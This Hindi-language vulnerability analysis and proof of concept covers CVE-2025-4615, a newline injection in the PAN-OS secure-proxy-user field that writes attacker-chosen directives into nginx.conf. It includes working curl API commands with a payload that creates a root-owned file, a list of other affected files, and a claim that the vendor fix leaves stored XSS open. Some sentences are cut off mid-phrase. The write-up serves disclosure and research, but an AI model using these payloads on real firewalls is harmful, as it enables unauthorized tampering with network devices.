
cve-2025-4615 poc और गहन विश्लेषण
भेद्यता: PAN-OS प्रबंधन वेब इंटरफ़ेस में इनपुट का अनुचित न्यूट्रलाइज़ेशन
विक्रेता सलाह: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (मध्यम) — अखंडता उच्च, उपलब्धता उच्च
CWE: CWE-83 (वेब पेज में विशेषताओं में स्क्रिप्ट का अनुचित न्यूट्रलाइज़ेशन)
CAPEC: CAPEC-165 (फ़ाइल हेरफेर)
श्रेय: Visa Inc.
विश्लेषण की तिथि: 2026-03-26
CVE-2025-4615, Palo Alto Networks PAN-OS के secure-proxy-user कॉन्फ़िगरेशन फ़ील्ड में एक न्यूलाइन इंजेक्शन भेद्यता है। एक प्रमाणित व्यवस्थापक XML API या वेब इंटरफ़ेस के माध्यम से प्रॉक्सी उपयोगकर्ता नाम में न्यूलाइन वर्ण (\n) इंजेक्ट कर सकता है। कमिट के दौरान, यह मान बिना सैनिटाइज़ किए /etc/nginx/nginx.conf में लिखा जाता है, जिससे एक टिप्पणी पंक्ति से बाहर निकलकर मनमानी nginx निर्देश इंजेक्ट हो जाते हैं।
प्रभाव:
access_log निर्देश के माध्यम सेनोट: विक्रेता का सुधार (न्यूलाइन वर्णों को हटाना) अधूरा है — यही फ़ील्ड संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) के लिए भेद्य बना रहता है, क्योंकि कोई आउटपुट एन्कोडिंग या वर्ण अनुमतिसूची (allowlist) लागू नहीं की गई है।
secure-proxy-user फ़ील्ड PAN-OS स्कीमा (schema.xml) में बिना किसी इनपुट सैनिटाइज़ेशन के एक सादे स्ट्रिंग के रूप में परिभाषित है:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
नोट: secure-proxy-server में एक regex प्रतिबंध है (regex="^([0-9a-zA-Z.:/_-])+$"), लेकिन secure-proxy-user में कोई नहीं है। 31-वर्ण लंबाई सीमा है, परंतु कोई वर्ण प्रतिबंध नहीं है।
कमिट के दौरान, PAN-OS एक टेम्पलेट (/etc/nginx/nginx.conf.tmpl) से /etc/nginx/nginx.conf को पुनर्जीवित करता है। टेम्पलेट में शामिल है:
#pan_proxy_comment %s
%s प्लेसहोल्डर को libpanmp_mp.so लाइब्रेरी फ़ंक्शन द्वारा भरा जाता है, जो प्रॉक्सी सर्वर, उपयोगकर्ता नाम और एन्क्रिप्टेड पासवर्ड को एक ही स्ट्रिंग में जोड़ता है। भेद्य संस्करण पर, उपयोगकर्ता नाम में न्यूलाइन वर्ण यथावत पारित हो जाते हैं।
जब secure-proxy-user में a\naccess_log /tmp/pwn3;\n# होता है, तो उत्पन्न nginx.conf निम्न बन जाता है:
#pan_proxy_comment 8.8.8.9 a — Comment (harmless)
access_log /tmp/pwn3; — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password== — Password commented out by injected #
पंक्ति 1 एक टिप्पणी है। पंक्ति 2 http ब्लॉक स्तर पर एक मान्य nginx निर्देश है। पंक्ति 3 हमलावर के # वर्ण द्वारा निष्प्रभावी हो जाती है।
nginx मास्टर प्रक्रिया रूट के रूप में चलती है। access_log निर्देश nginx को लक्ष्य फ़ाइल को रूट के रूप में खोलने/बनाने के लिए प्रेरित करता है। यह निम्न सक्षम करता है:
सुधारित संस्करण (11.1.13) पर, कॉन्फ़िगरेशन लेखक nginx.conf में लिखने से पहले प्रॉक्सी उपयोगकर्ता नाम से न्यूलाइन वर्ण हटा देता है। वही दुर्भावनापूर्ण मान निम्न उत्पन्न करता है:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
सब कुछ एक पंक्ति पर, # टिप्पणी के अंदर सुरक्षित रहता है।
हालाँकि, यह सुधार अधूरा है। यह केवल न्यूलाइन इंजेक्शन को संबोधित करता है। secure-proxy-user फ़ील्ड अभी भी बिना आउटपुट एन्कोडिंग के मनमाने वर्ण (जिनमें ", <, > शामिल हैं) स्वीकार करता है, जिससे संग्रहीत XSS वेक्टर पूरी तरह खुला रह जाता है। देखें unit-43-xss।
secure-proxy-server (प्रॉक्सी टिप्पणी दिखने के लिए आवश्यक)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
कमिट पूर्ण होने के बाद (~30 सेकंड):
/tmp/pwn3 रूट स्वामित्व के साथ बनाई जाती हैnginx -t -c /etc/nginx/nginx.conf रिपोर्ट करता है: syntax is okबिना सैनिटाइज़ किया गया secure-proxy-user मान कई फ़ाइलों में प्रसारित होता है:
| फ़ाइल | प्रभाव |
|---|---|
/etc/nginx/nginx.conf | गंभीर — nginx निर्देश इंजेक्शन |
/opt/pancfg/tmp/.tdb_conf.xml | टेम्पलेट DB कॉन्फ़िग (XML इंजेक्शन) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | ऑडिट ट्रेल भ्रष्टाचार |
/opt/pancfg/mgmt/replaydb/replay.db | रीप्ले डेटाबेस भ्रष्टाचार |
| XSL-जनित डेमन कॉन्फ़िग (authd, cord, useridd, आदि) | XML मान न्यूलाइन के साथ संरक्षित |
curlrc (/root/.curlrc) और wgetrc (/root/.wgetrc) लेखक न्यूलाइन हटाते हैं, भेद्य संस्करण पर भी। nginx.conf लेखक एकमात्र ऐसा मार्ग था जो सैनिटाइज़ नहीं करता था।
11 हमले वैक्टरों के व्यापक परीक्षण ने पुष्टि की है कि nginx 1.20.1 के साथ PAN-OS 11.1.6-h7 पर अकेले CVE-2025-4615 से स्टैंडअलोन OS-स्तरीय RCE प्राप्त करना संभव नहीं है। तीन महत्वपूर्ण अवरोधक:
\x0A एस्केपिंग — लॉग फ़ाइलों में कच्चे न्यूलाइन इंजेक्शन को रोकता है, जिससे vixie-cron की कचरा पंक्तियों को सहन करने की क्षमता के बावजूद cron इंजेक्शन अवरुद्ध हो जाता है (प्रयोगशाला-पुष्टि: cron कचरे से घिरी वैध पंक्तियों को वास्तव में निष्पादित करता है)log_format + access_log को संयोजित करने से रोकती हैएडवाइज़री में दिया गया "मनमाने कमांड निष्पादित करें" सबसे अधिक संभावना मनमाने nginx निर्देशों को संदर्भित करता है, OS-स्तरीय कमांड निष्पादन को नहीं। यह CVSS VC:N (कोई गोपनीयता प्रभाव नहीं) और सुधार की प्रकृति के अनुरूप है।
यदि तीनों में से कोई भी अवरोधक अनुपस्थित होता, तो cron इंजेक्शन के माध्यम से RCE आसानी से प्राप्त की जा सकती थी।
विश्लेषण PAN-OS 11.1.6-h7 (भेद्य) और PAN-OS 11.1.13 (सुधारित) के साथ पृथक प्रयोगशाला वातावरण में किया गया।